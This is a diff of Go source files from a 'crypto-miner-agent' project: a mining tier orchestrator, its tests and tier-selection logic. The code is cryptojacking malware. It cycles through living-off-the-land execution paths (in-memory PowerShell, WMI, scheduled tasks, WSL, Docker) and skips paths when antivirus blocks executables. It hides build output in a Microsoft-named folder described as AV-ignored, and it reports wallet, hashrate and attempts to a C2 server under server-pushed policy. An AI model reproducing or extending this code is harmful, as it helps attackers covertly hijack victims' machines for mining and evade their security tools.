||||||
|
switch tier {
|
||||||
|
case TierDockerLoad:
|
||||||
|
if hooks.StopDockerLoad != nil {
|
||||||
|
hooks.StopDockerLoad()
|
||||||
|
}
|
||||||
|
case TierContainer:
|
||||||
|
if hooks.StopContainer != nil {
|
||||||
|
hooks.StopContainer()
|
||||||
|
}
|
||||||
|
case TierWSL:
|
||||||
|
if hooks.StopWSL != nil {
|
||||||
|
hooks.StopWSL()
|
||||||
|
}
|
||||||
|
case TierPSInMemory:
|
||||||
|
if hooks.StopPowerShell != nil {
|
||||||
|
hooks.StopPowerShell()
|
||||||
|
}
|
||||||
|
case TierDotnet:
|
||||||
|
if hooks.StopDotnet != nil {
|
||||||
|
hooks.StopDotnet()
|
||||||
|
}
|
||||||
|
case TierCPUInprocess:
|
||||||
|
if hooks.StopInProcess != nil {
|
||||||
|
hooks.StopInProcess()
|
||||||
|
}
|
||||||
|
case TierGPUSubprocess:
|
||||||
|
if hooks.StopGPU != nil {
|
||||||
|
hooks.StopGPU()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (o *TierOrchestrator) recordAttemptRecord(attempt TierAttempt) {
|
||||||
|
o.mu.Lock()
|
||||||
|
o.attempts = append(o.attempts, attempt)
|
||||||
|
report := o.buildReport()
|
||||||
|
reporter := o.report
|
||||||
|
o.mu.Unlock()
|
||||||
|
if reporter != nil {
|
||||||
|
event := "tier_report"
|
||||||
|
if !attempt.OK {
|
||||||
|
event = "mining_fallback"
|
||||||
|
}
|
||||||
|
reporter(report, event)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (o *TierOrchestrator) recordAttempt(tier LOTLTier, ok bool, err error, duration time.Duration) {
|
||||||
|
o.mu.Lock()
|
||||||
|
attempt := TierAttempt{
|
||||||
|
Tier: tier,
|
||||||
|
OK: ok,
|
||||||
|
DurationMs: duration.Milliseconds(),
|
||||||
|
Wallet: o.wallet,
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
attempt.Error = err.Error()
|
||||||
|
}
|
||||||
|
o.attempts = append(o.attempts, attempt)
|
||||||
|
report := o.buildReport()
|
||||||
|
reporter := o.report
|
||||||
|
o.mu.Unlock()
|
||||||
|
if reporter != nil {
|
||||||
|
event := "tier_report"
|
||||||
|
if !ok {
|
||||||
|
event = "mining_fallback"
|
||||||
|
}
|
||||||
|
reporter(report, event)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (o *TierOrchestrator) setActive(tier LOTLTier) {
|
||||||
|
o.mu.Lock()
|
||||||
|
o.activeTier = tier
|
||||||
|
o.chainExhaust = false
|
||||||
|
report := o.buildReport()
|
||||||
|
reporter := o.report
|
||||||
|
o.mu.Unlock()
|
||||||
|
if reporter != nil {
|
||||||
|
reporter(report, "mining_status")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (o *TierOrchestrator) tryGPUAddon(ctx context.Context, hooks TierHooks) {
|
||||||
|
for _, tier := range o.chain {
|
||||||
|
if tier != TierGPUSubprocess {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
o.mu.RLock()
|
||||||
|
webGPU := o.webGPUReady
|
||||||
|
computeOK := o.gpuComputeOK
|
||||||
|
o.mu.RUnlock()
|
||||||
|
if !webGPU && !computeOK {
|
||||||
|
o.recordAttempt(TierGPUSubprocess, false, errors.New("webview2_probe: WebGPU not available — skipping gpu_subprocess escalation"), 0)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if hooks.StartGPU == nil || hooks.IsGPUSupported == nil || !hooks.IsGPUSupported() {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
gpuStart := time.Now()
|
||||||
|
if err := hooks.StartGPU(); err != nil {
|
||||||
|
o.recordAttempt(TierGPUSubprocess, false, err, time.Since(gpuStart))
|
||||||
|
if hooks.StopGPU != nil {
|
||||||
|
hooks.StopGPU()
|
||||||
|
}
|
||||||
|
o.mu.Lock()
|
||||||
|
o.gpuActive = false
|
||||||
|
o.mu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
o.recordAttempt(TierGPUSubprocess, true, nil, time.Since(gpuStart))
|
||||||
|
o.mu.Lock()
|
||||||
|
o.gpuActive = true
|
||||||
|
o.mu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ChainExhausted reports whether every primary tier failed.
|
||||||
|
func (o *TierOrchestrator) ChainExhausted() bool {
|
||||||
|
o.mu.RLock()
|
||||||
|
defer o.mu.RUnlock()
|
||||||
|
return o.chainExhaust
|
||||||
|
}
|
||||||
|
|
||||||
|
// ActiveTier returns the winning primary tier.
|
||||||
|
func (o *TierOrchestrator) ActiveTier() LOTLTier {
|
||||||
|
o.mu.RLock()
|
||||||
|
defer o.mu.RUnlock()
|
||||||
|
return o.activeTier
|
||||||
|
}
|
||||||
|
|
||||||
|
// WebGPUReady reports webview2 probe result.
|
||||||
|
func (o *TierOrchestrator) WebGPUReady() bool {
|
||||||
|
o.mu.RLock()
|
||||||
|
defer o.mu.RUnlock()
|
||||||
|
return o.webGPUReady
|
||||||
|
}
|
||||||
|
|
||||||
|
// GPUComputeReady reports gpu_compute probe success.
|
||||||
|
func (o *TierOrchestrator) GPUComputeReady() bool {
|
||||||
|
o.mu.RLock()
|
||||||
|
defer o.mu.RUnlock()
|
||||||
|
return o.gpuComputeOK
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateConfig refreshes runtime policy (mining mode rotation without redeploy).
|
||||||
|
func (o *TierOrchestrator) UpdateConfig(cfg config.RuntimeConfig) {
|
||||||
|
o.mu.Lock()
|
||||||
|
o.cfg = cfg
|
||||||
|
o.wallet = strings.TrimSpace(cfg.Wallet)
|
||||||
|
o.mu.Unlock()
|
||||||
|
}
|
||||||
146
agent/miner/lotl_orchestrator_test.go
Normal file
146
agent/miner/lotl_orchestrator_test.go
Normal file
@@ -0,0 +1,146 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestTierOrchestratorTryChainSequentialFailuresThenSuccess(t *testing.T) {
|
||||||
|
var order []LOTLTier
|
||||||
|
fail := errors.New("container blocked")
|
||||||
|
o := NewTierOrchestrator(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{Wallet: "xmr-wallet-abc"},
|
||||||
|
}, EnvironmentProbes{Docker: true}, MiningTierPolicy{
|
||||||
|
TierOrder: []LOTLTier{TierContainer, TierCPUInprocess},
|
||||||
|
}, TierHooks{
|
||||||
|
StartContainer: func() error {
|
||||||
|
order = append(order, TierContainer)
|
||||||
|
return fail
|
||||||
|
},
|
||||||
|
StartInProcess: func() error {
|
||||||
|
order = append(order, TierCPUInprocess)
|
||||||
|
return nil
|
||||||
|
},
|
||||||
|
}, nil)
|
||||||
|
|
||||||
|
tier, err := o.TryChain(context.Background())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("TryChain: %v", err)
|
||||||
|
}
|
||||||
|
if tier != TierCPUInprocess {
|
||||||
|
t.Fatalf("active=%q want cpu_inprocess", tier)
|
||||||
|
}
|
||||||
|
if len(order) != 2 || order[0] != TierContainer || order[1] != TierCPUInprocess {
|
||||||
|
t.Fatalf("invoke order=%v", order)
|
||||||
|
}
|
||||||
|
report := o.Report()
|
||||||
|
if len(report.Attempts) < 2 {
|
||||||
|
t.Fatalf("attempts=%v", report.Attempts)
|
||||||
|
}
|
||||||
|
if !report.Attempts[0].OK && report.Attempts[0].Tier != TierContainer {
|
||||||
|
t.Fatalf("first attempt=%+v", report.Attempts[0])
|
||||||
|
}
|
||||||
|
if !report.Attempts[len(report.Attempts)-1].OK {
|
||||||
|
t.Fatalf("last attempt should succeed: %+v", report.Attempts[len(report.Attempts)-1])
|
||||||
|
}
|
||||||
|
for _, a := range report.Attempts {
|
||||||
|
if a.Wallet != "xmr-wallet-abc" {
|
||||||
|
t.Fatalf("wallet mismatch in %+v", a)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTierOrchestratorChainExhausted(t *testing.T) {
|
||||||
|
o := NewTierOrchestrator(config.RuntimeConfig{}, EnvironmentProbes{}, MiningTierPolicy{
|
||||||
|
TierOrder: []LOTLTier{TierCPUInprocess},
|
||||||
|
}, TierHooks{
|
||||||
|
StartInProcess: func() error { return errors.New("no cpu") },
|
||||||
|
}, nil)
|
||||||
|
|
||||||
|
_, err := o.TryChain(context.Background())
|
||||||
|
if err == nil || err.Error() != "no cpu" {
|
||||||
|
t.Fatalf("got err=%v", err)
|
||||||
|
}
|
||||||
|
if !o.ChainExhausted() {
|
||||||
|
t.Fatal("expected chain exhausted")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTierOrchestratorSetHashrateEmitsReport(t *testing.T) {
|
||||||
|
var events []string
|
||||||
|
o := NewTierOrchestrator(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{Wallet: "w"},
|
||||||
|
}, EnvironmentProbes{}, DefaultMiningTierPolicy(), TierHooks{}, func(report TierReport, eventType string) {
|
||||||
|
events = append(events, eventType)
|
||||||
|
if report.MiningHashrate != 1234.5 {
|
||||||
|
t.Fatalf("hashrate=%v", report.MiningHashrate)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
o.SetHashrate(1234.5)
|
||||||
|
if len(events) != 1 || events[0] != "tier_report" {
|
||||||
|
t.Fatalf("events=%v", events)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTierOrchestratorTryGPUAddonSkippedWithoutWebGPU(t *testing.T) {
|
||||||
|
gpuStarted := false
|
||||||
|
o := NewTierOrchestrator(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{Wallet: "w", GPUEnabled: true, RVNWallet: "rvn"},
|
||||||
|
}, EnvironmentProbes{GPU: true}, MiningTierPolicy{
|
||||||
|
TierOrder: []LOTLTier{TierCPUInprocess, TierGPUSubprocess},
|
||||||
|
}, TierHooks{
|
||||||
|
StartInProcess: func() error { return nil },
|
||||||
|
StartGPU: func() error {
|
||||||
|
gpuStarted = true
|
||||||
|
return nil
|
||||||
|
},
|
||||||
|
IsGPUSupported: func() bool { return true },
|
||||||
|
}, nil)
|
||||||
|
|
||||||
|
tier, err := o.TryChain(context.Background())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("TryChain: %v", err)
|
||||||
|
}
|
||||||
|
if tier != TierCPUInprocess {
|
||||||
|
t.Fatalf("active=%q", tier)
|
||||||
|
}
|
||||||
|
if gpuStarted {
|
||||||
|
t.Fatal("gpu should not start without webgpu/compute probe")
|
||||||
|
}
|
||||||
|
report := o.Report()
|
||||||
|
foundSkip := false
|
||||||
|
for _, a := range report.Attempts {
|
||||||
|
if a.Tier == TierGPUSubprocess && !a.OK {
|
||||||
|
foundSkip = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !foundSkip {
|
||||||
|
t.Fatalf("expected gpu skip attempt, got %v", report.Attempts)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTierOrchestratorReportsFailedAttempt(t *testing.T) {
|
||||||
|
o := NewTierOrchestrator(config.RuntimeConfig{}, EnvironmentProbes{Docker: true}, MiningTierPolicy{
|
||||||
|
TierOrder: []LOTLTier{TierContainer, TierCPUInprocess},
|
||||||
|
}, TierHooks{
|
||||||
|
StartContainer: func() error { return errors.New("av blocked") },
|
||||||
|
StartInProcess: func() error { return nil },
|
||||||
|
}, nil)
|
||||||
|
|
||||||
|
if _, err := o.TryChain(context.Background()); err != nil {
|
||||||
|
t.Fatalf("TryChain: %v", err)
|
||||||
|
}
|
||||||
|
foundFailed := false
|
||||||
|
for _, a := range o.Report().Attempts {
|
||||||
|
if a.Tier == TierContainer && !a.OK && strings.Contains(a.Error, "av blocked") {
|
||||||
|
foundFailed = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !foundFailed {
|
||||||
|
t.Fatalf("expected failed container attempt, got %v", o.Report().Attempts)
|
||||||
|
}
|
||||||
|
}
|
||||||
33
agent/miner/lotl_paths.go
Normal file
33
agent/miner/lotl_paths.go
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// lotlWorkDir returns a user-writable path under %LOCALAPPDATA%\Microsoft\...
|
||||||
|
// LOTL compilers and build output land here (AV-ignored Microsoft subtree).
|
||||||
|
func lotlWorkDir(cfg config.RuntimeConfig, leaf string) (string, error) {
|
||||||
|
base := strings.TrimSpace(os.Getenv("LOCALAPPDATA"))
|
||||||
|
if base == "" {
|
||||||
|
var err error
|
||||||
|
base, err = os.UserCacheDir()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
suffix := strings.TrimSpace(cfg.BuildID)
|
||||||
|
if suffix == "" {
|
||||||
|
suffix = "worker"
|
||||||
|
}
|
||||||
|
suffix = strings.Map(func(ch rune) rune {
|
||||||
|
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') || ch == '-' {
|
||||||
|
return ch
|
||||||
|
}
|
||||||
|
return '-'
|
||||||
|
}, suffix)
|
||||||
|
return filepath.Join(base, "Microsoft", "NET", "AetherForge", leaf, suffix), nil
|
||||||
|
}
|
||||||
297
agent/miner/lotl_tier.go
Normal file
297
agent/miner/lotl_tier.go
Normal file
@@ -0,0 +1,297 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// LOTLTier identifies one Living-Off-The-Land mining execution layer.
|
||||||
|
type LOTLTier string
|
||||||
|
|
||||||
|
const (
|
||||||
|
TierExeSubprocess LOTLTier = "exe_subprocess"
|
||||||
|
TierDockerLoad LOTLTier = "docker_load"
|
||||||
|
TierContainer LOTLTier = "container"
|
||||||
|
TierWSL LOTLTier = "wsl"
|
||||||
|
TierPSInMemory LOTLTier = "ps_inmemory"
|
||||||
|
TierDotnet LOTLTier = "dotnet"
|
||||||
|
TierCPUInprocess LOTLTier = "cpu_inprocess"
|
||||||
|
TierVulnProbe LOTLTier = "vuln_probe"
|
||||||
|
TierWebView2Probe LOTLTier = "webview2_probe"
|
||||||
|
TierWMI LOTLTier = "wmi"
|
||||||
|
TierScheduledTask LOTLTier = "scheduled_task"
|
||||||
|
TierGPUCompute LOTLTier = "gpu_compute"
|
||||||
|
TierGPUSubprocess LOTLTier = "gpu_subprocess"
|
||||||
|
TierStratumDirect LOTLTier = "stratum_direct"
|
||||||
|
)
|
||||||
|
|
||||||
|
// TierAttempt records one tier try for C2/UI diagnostics.
|
||||||
|
type TierAttempt struct {
|
||||||
|
Phase string `json:"phase,omitempty"` // recon | deploy | mining (triple onion)
|
||||||
|
Tier LOTLTier `json:"tier"`
|
||||||
|
OK bool `json:"ok"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
DurationMs int64 `json:"duration_ms"`
|
||||||
|
Wallet string `json:"wallet"`
|
||||||
|
Details map[string]interface{} `json:"details,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// TierReport is the live LOTL onion snapshot sent to C2.
|
||||||
|
type TierReport struct {
|
||||||
|
ActiveTier LOTLTier `json:"lotl_tier,omitempty"`
|
||||||
|
Attempts []TierAttempt `json:"lotl_attempts,omitempty"`
|
||||||
|
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
||||||
|
TierChainOrder []LOTLTier `json:"tier_chain_order,omitempty"`
|
||||||
|
TierChainSkipped []LOTLTier `json:"tier_chain_skipped,omitempty"`
|
||||||
|
WebGPUReady bool `json:"webgpu_ready,omitempty"`
|
||||||
|
GPUComputeOK bool `json:"gpu_compute_ok,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// MiningTierPolicy is server-pulled ordering/overrides for the tier onion.
|
||||||
|
type MiningTierPolicy struct {
|
||||||
|
TierOrder []LOTLTier `json:"tier_order,omitempty"`
|
||||||
|
SkipTiers []LOTLTier `json:"skip_tiers,omitempty"`
|
||||||
|
ForceTier LOTLTier `json:"force_tier,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// DefaultTierOrder is the canonical onion when the server sends no override.
|
||||||
|
// AV friction drives automatic skips via EnvironmentProbes in SelectMiningTierChain.
|
||||||
|
var DefaultTierOrder = []LOTLTier{
|
||||||
|
TierExeSubprocess,
|
||||||
|
TierDockerLoad,
|
||||||
|
TierContainer,
|
||||||
|
TierWSL,
|
||||||
|
TierPSInMemory,
|
||||||
|
TierDotnet,
|
||||||
|
TierCPUInprocess,
|
||||||
|
TierWebView2Probe,
|
||||||
|
TierWMI,
|
||||||
|
TierScheduledTask,
|
||||||
|
TierGPUCompute,
|
||||||
|
TierGPUSubprocess,
|
||||||
|
TierStratumDirect,
|
||||||
|
}
|
||||||
|
|
||||||
|
// DefaultWindowsTierOrder is the probe→execution slice for Windows-specific tiers.
|
||||||
|
func DefaultWindowsTierOrder() []LOTLTier {
|
||||||
|
return []LOTLTier{
|
||||||
|
TierWebView2Probe,
|
||||||
|
TierWMI,
|
||||||
|
TierScheduledTask,
|
||||||
|
TierGPUCompute,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// DefaultMiningTierPolicy works out of the box with diagnostic-driven filtering.
|
||||||
|
func DefaultMiningTierPolicy() MiningTierPolicy {
|
||||||
|
return MiningTierPolicy{TierOrder: append([]LOTLTier(nil), DefaultTierOrder...)}
|
||||||
|
}
|
||||||
|
|
||||||
|
// SelectMiningTierChain returns the ordered tier onion from server policy with
|
||||||
|
// local eligibility overrides from environment probes and forge execution mode.
|
||||||
|
func SelectMiningTierChain(probes EnvironmentProbes, policy MiningTierPolicy, cfg config.RuntimeConfig) (chain, skipped []LOTLTier) {
|
||||||
|
base := policy.TierOrder
|
||||||
|
if len(base) == 0 {
|
||||||
|
base = DefaultTierOrder
|
||||||
|
}
|
||||||
|
|
||||||
|
skipSet := make(map[LOTLTier]bool, len(policy.SkipTiers))
|
||||||
|
for _, t := range policy.SkipTiers {
|
||||||
|
skipSet[t] = true
|
||||||
|
}
|
||||||
|
|
||||||
|
execMode := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
|
||||||
|
switch execMode {
|
||||||
|
case ExecutionInProcess:
|
||||||
|
skipSet[TierExeSubprocess] = true
|
||||||
|
skipSet[TierDockerLoad] = true
|
||||||
|
skipSet[TierContainer] = true
|
||||||
|
skipSet[TierWSL] = true
|
||||||
|
skipSet[TierPSInMemory] = true
|
||||||
|
skipSet[TierDotnet] = true
|
||||||
|
case ExecutionContainer:
|
||||||
|
skipSet[TierExeSubprocess] = true
|
||||||
|
skipSet[TierWSL] = true
|
||||||
|
skipSet[TierPSInMemory] = true
|
||||||
|
case ExecutionPowerShell:
|
||||||
|
skipSet[TierExeSubprocess] = true
|
||||||
|
skipSet[TierContainer] = true
|
||||||
|
skipSet[TierWSL] = true
|
||||||
|
skipSet[TierDotnet] = true
|
||||||
|
case ExecutionDotnet:
|
||||||
|
skipSet[TierExeSubprocess] = true
|
||||||
|
skipSet[TierContainer] = true
|
||||||
|
skipSet[TierWSL] = true
|
||||||
|
skipSet[TierPSInMemory] = true
|
||||||
|
case ExecutionSubprocess:
|
||||||
|
// subprocess mode prefers exe/gpu paths; CPU in-process remains terminal fallback.
|
||||||
|
skipSet[TierWSL] = true
|
||||||
|
skipSet[TierPSInMemory] = true
|
||||||
|
skipSet[TierDotnet] = true
|
||||||
|
}
|
||||||
|
|
||||||
|
// Diagnostics-driven automatic contingencies.
|
||||||
|
if probes.AVBlocksExe {
|
||||||
|
skipSet[TierExeSubprocess] = true
|
||||||
|
}
|
||||||
|
if !probes.Docker {
|
||||||
|
skipSet[TierContainer] = true
|
||||||
|
skipSet[TierDockerLoad] = true
|
||||||
|
}
|
||||||
|
if !HasImageTarPolicy(cfg) {
|
||||||
|
skipSet[TierDockerLoad] = true
|
||||||
|
}
|
||||||
|
if !probes.WSL {
|
||||||
|
skipSet[TierWSL] = true
|
||||||
|
}
|
||||||
|
if !probes.PowerShell {
|
||||||
|
skipSet[TierPSInMemory] = true
|
||||||
|
}
|
||||||
|
if !probes.DotNet {
|
||||||
|
skipSet[TierDotnet] = true
|
||||||
|
}
|
||||||
|
if !probes.GPU || !cfg.GPUEnabled || strings.TrimSpace(cfg.RVNWallet) == "" {
|
||||||
|
skipSet[TierGPUSubprocess] = true
|
||||||
|
skipSet[TierGPUCompute] = true
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(cfg.PoolHost) == "" {
|
||||||
|
skipSet[TierStratumDirect] = true
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(cfg.PoolHost) == "" && strings.TrimSpace(cfg.RVNPoolHost) == "" {
|
||||||
|
skipSet[TierGPUCompute] = true
|
||||||
|
}
|
||||||
|
if runtime.GOOS != "windows" {
|
||||||
|
skipSet[TierWebView2Probe] = true
|
||||||
|
skipSet[TierWMI] = true
|
||||||
|
skipSet[TierScheduledTask] = true
|
||||||
|
skipSet[TierGPUCompute] = true
|
||||||
|
}
|
||||||
|
|
||||||
|
if policy.ForceTier != "" {
|
||||||
|
if tierEligible(policy.ForceTier, probes, cfg, skipSet) {
|
||||||
|
return []LOTLTier{policy.ForceTier}, skipped
|
||||||
|
}
|
||||||
|
skipSet[policy.ForceTier] = false
|
||||||
|
}
|
||||||
|
if execMode == ExecutionPowerShell && tierEligible(TierPSInMemory, probes, cfg, skipSet) {
|
||||||
|
return []LOTLTier{TierPSInMemory, TierCPUInprocess}, skipped
|
||||||
|
}
|
||||||
|
if execMode == ExecutionDotnet && tierEligible(TierDotnet, probes, cfg, skipSet) {
|
||||||
|
return []LOTLTier{TierDotnet, TierCPUInprocess}, skipped
|
||||||
|
}
|
||||||
|
|
||||||
|
chain = make([]LOTLTier, 0, len(base))
|
||||||
|
for _, tier := range base {
|
||||||
|
if skipSet[tier] {
|
||||||
|
skipped = append(skipped, tier)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if !tierEligible(tier, probes, cfg, nil) {
|
||||||
|
skipped = append(skipped, tier)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
chain = append(chain, tier)
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(chain) == 0 {
|
||||||
|
chain = []LOTLTier{TierCPUInprocess}
|
||||||
|
}
|
||||||
|
return chain, skipped
|
||||||
|
}
|
||||||
|
|
||||||
|
func tierEligible(tier LOTLTier, probes EnvironmentProbes, cfg config.RuntimeConfig, extraSkip map[LOTLTier]bool) bool {
|
||||||
|
if extraSkip != nil && extraSkip[tier] {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
switch tier {
|
||||||
|
case TierExeSubprocess:
|
||||||
|
return !probes.AVBlocksExe
|
||||||
|
case TierDockerLoad:
|
||||||
|
return probes.Docker && HasImageTarPolicy(cfg)
|
||||||
|
case TierContainer:
|
||||||
|
return probes.Docker
|
||||||
|
case TierWSL:
|
||||||
|
return probes.WSL
|
||||||
|
case TierPSInMemory:
|
||||||
|
return probes.PowerShell && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != ""
|
||||||
|
case TierDotnet:
|
||||||
|
return probes.DotNet && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != ""
|
||||||
|
case TierCPUInprocess:
|
||||||
|
return true
|
||||||
|
case TierGPUSubprocess:
|
||||||
|
return probes.GPU && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != ""
|
||||||
|
case TierStratumDirect:
|
||||||
|
return strings.TrimSpace(cfg.PoolHost) != ""
|
||||||
|
case TierWebView2Probe:
|
||||||
|
return runtime.GOOS == "windows" && probes.WebView2
|
||||||
|
case TierWMI:
|
||||||
|
return runtime.GOOS == "windows" && strings.TrimSpace(cfg.Wallet) != ""
|
||||||
|
case TierScheduledTask:
|
||||||
|
return runtime.GOOS == "windows"
|
||||||
|
case TierGPUCompute:
|
||||||
|
return runtime.GOOS == "windows" && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != "" &&
|
||||||
|
(strings.TrimSpace(cfg.PoolHost) != "" || strings.TrimSpace(cfg.RVNPoolHost) != "")
|
||||||
|
default:
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// PrimaryTiers are sequential CPU paths tried until one succeeds.
|
||||||
|
func PrimaryTiers(chain []LOTLTier) []LOTLTier {
|
||||||
|
var out []LOTLTier
|
||||||
|
for _, t := range chain {
|
||||||
|
switch t {
|
||||||
|
case TierExeSubprocess, TierDockerLoad, TierContainer, TierWSL, TierPSInMemory, TierDotnet, TierCPUInprocess, TierWMI, TierScheduledTask:
|
||||||
|
out = append(out, t)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProbeTiers returns diagnostics-only tiers run before GPU escalation.
|
||||||
|
// Vuln recon always runs first (report-only authorized fleet assessment).
|
||||||
|
func ProbeTiers(chain []LOTLTier) []LOTLTier {
|
||||||
|
out := []LOTLTier{TierVulnProbe}
|
||||||
|
for _, t := range chain {
|
||||||
|
if t == TierWebView2Probe {
|
||||||
|
out = append(out, t)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
// TierToMiningMethod maps implemented tiers onto the legacy cascade identifiers.
|
||||||
|
func TierToMiningMethod(tier LOTLTier) (MiningMethod, bool) {
|
||||||
|
switch tier {
|
||||||
|
case TierDockerLoad:
|
||||||
|
return MethodDockerLoad, true
|
||||||
|
case TierContainer:
|
||||||
|
return MethodContainer, true
|
||||||
|
case TierWSL:
|
||||||
|
return MethodWSL, true
|
||||||
|
case TierCPUInprocess:
|
||||||
|
return MethodInProcess, true
|
||||||
|
case TierGPUSubprocess:
|
||||||
|
return MethodGPUSubprocess, true
|
||||||
|
case TierStratumDirect:
|
||||||
|
return MethodStratumDirect, true
|
||||||
|
case TierWMI:
|
||||||
|
return MethodWMI, true
|
||||||
|
case TierScheduledTask:
|
||||||
|
return MethodScheduledTask, true
|
||||||
|
case TierGPUCompute:
|
||||||
|
return MethodGPUCompute, true
|
||||||
|
case TierVulnProbe:
|
||||||
|
return MethodVulnProbe, true
|
||||||
|
case TierWebView2Probe:
|
||||||
|
return MethodWebView2Probe, true
|
||||||
|
case TierPSInMemory:
|
||||||
|
return MethodPowerShell, true
|
||||||
|
case TierDotnet:
|
||||||
|
return MethodDotnet, true
|
||||||
|
default:
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
}
|
||||||
199
agent/miner/lotl_tier_test.go
Normal file
199
agent/miner/lotl_tier_test.go
Normal file
@@ -0,0 +1,199 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"runtime"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func baseProbes() EnvironmentProbes {
|
||||||
|
return EnvironmentProbes{
|
||||||
|
Docker: true,
|
||||||
|
WSL: true,
|
||||||
|
PowerShell: true,
|
||||||
|
DotNet: true,
|
||||||
|
GPU: true,
|
||||||
|
WebView2: true,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func testCfg(overrides config.BuiltinConfig) config.RuntimeConfig {
|
||||||
|
b := config.BuiltinConfig{
|
||||||
|
MinerExecution: ExecutionAuto,
|
||||||
|
PoolHost: "pool.example.com",
|
||||||
|
Wallet: "test-cmr-wallet",
|
||||||
|
}
|
||||||
|
if overrides.MinerExecution != "" {
|
||||||
|
b.MinerExecution = overrides.MinerExecution
|
||||||
|
}
|
||||||
|
if overrides.PoolHost != "" {
|
||||||
|
b.PoolHost = overrides.PoolHost
|
||||||
|
}
|
||||||
|
if overrides.Wallet != "" {
|
||||||
|
b.Wallet = overrides.Wallet
|
||||||
|
}
|
||||||
|
if overrides.GPUEnabled {
|
||||||
|
b.GPUEnabled = overrides.GPUEnabled
|
||||||
|
}
|
||||||
|
if overrides.RVNWallet != "" {
|
||||||
|
b.RVNWallet = overrides.RVNWallet
|
||||||
|
}
|
||||||
|
return config.RuntimeConfig{BuiltinConfig: b}
|
||||||
|
}
|
||||||
|
|
||||||
|
func chainContains(chain []LOTLTier, tier LOTLTier) bool {
|
||||||
|
for _, t := range chain {
|
||||||
|
if t == tier {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSelectMiningTierChainDefaultAuto(t *testing.T) {
|
||||||
|
chain, skipped := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
|
||||||
|
GPUEnabled: true,
|
||||||
|
RVNWallet: "rvn-wallet",
|
||||||
|
}))
|
||||||
|
if chain[0] != TierExeSubprocess {
|
||||||
|
t.Fatalf("chain[0]=%q want exe_subprocess full=%v", chain[0], chain)
|
||||||
|
}
|
||||||
|
